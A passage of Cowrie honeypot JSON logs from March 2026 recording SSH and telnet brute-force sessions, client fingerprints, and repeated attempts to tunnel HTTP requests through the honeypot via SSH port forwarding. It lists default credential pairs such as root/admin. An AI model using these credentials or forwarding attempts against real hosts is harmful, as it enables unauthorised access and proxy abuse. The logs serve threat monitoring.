compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:50.947104Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.170297Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.252944Z","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.380662Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.384498Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.492480Z","src_ip":"45.148.10.121","session":"e701fcb66091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42240,"dst_ip":"159.203.135.109","dst_port":22,"session":"0208c1033497","protocol":"ssh","message":"New connection: 45.148.10.121:42240 (159.203.135.109:22) [session: 0208c1033497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.582668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.585767Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.664446Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.902817Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:51.983930Z","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:52.064579Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:52.067942Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:36:52.151848Z","src_ip":"45.148.10.121","session":"0208c1033497","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38250,"dst_ip":"10.17.0.5","dst_port":22,"session":"c88566cb4ca5","protocol":"ssh","message":"New connection: 45.148.10.121:38250 (10.17.0.5:22) [session: c88566cb4ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.174207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.178131Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.256974Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.495625Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.577294Z","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.658571Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.662694Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.744495Z","src_ip":"45.148.10.121","session":"c88566cb4ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":38262,"dst_ip":"10.17.0.5","dst_port":22,"session":"28727fe1bfff","protocol":"ssh","message":"New connection: 45.148.10.121:38262 (10.17.0.5:22) [session: 28727fe1bfff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.811167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.815192Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:07.890402Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:08.115972Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:08.193625Z","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:08.271185Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:08.274860Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:08.359486Z","src_ip":"45.148.10.121","session":"28727fe1bfff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.148.75","src_port":56814,"dst_ip":"10.17.0.5","dst_port":23,"session":"72493f562904","protocol":"telnet","message":"New connection: 176.65.148.75:56814 (10.17.0.5:23) [session: 72493f562904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:10.849796Z"}
{"eventid":"cowrie.session.closed","duration":7.001717567443848,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:17.851381Z","src_ip":"176.65.148.75","session":"72493f562904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.95","src_port":41410,"dst_ip":"159.203.135.109","dst_port":22,"session":"e057cd774f1c","protocol":"ssh","message":"New connection: 92.118.39.95:41410 (159.203.135.109:22) [session: e057cd774f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:57.583301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:57.588082Z","src_ip":"92.118.39.95","session":"e057cd774f1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:57.687785Z","src_ip":"92.118.39.95","session":"e057cd774f1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234QWER","message":"login attempt [ubuntu/1234QWER] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:57.987612Z","src_ip":"92.118.39.95","session":"e057cd774f1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:37:59.088453Z","src_ip":"92.118.39.95","session":"e057cd774f1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.95.173","src_port":50634,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f3d6f64a520","protocol":"ssh","message":"New connection: 20.244.95.173:50634 (10.17.0.5:22) [session: 6f3d6f64a520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.210040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.214553Z","src_ip":"20.244.95.173","session":"6f3d6f64a520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.421452Z","src_ip":"20.244.95.173","session":"6f3d6f64a520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":33812,"dst_ip":"10.17.0.5","dst_port":22,"session":"9dda1978d4ae","protocol":"ssh","message":"New connection: 2.57.122.238:33812 (10.17.0.5:22) [session: 9dda1978d4ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.510673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T16:38:07.517064Z","src_ip":"2.57.122.238","session":"9dda1978d4ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 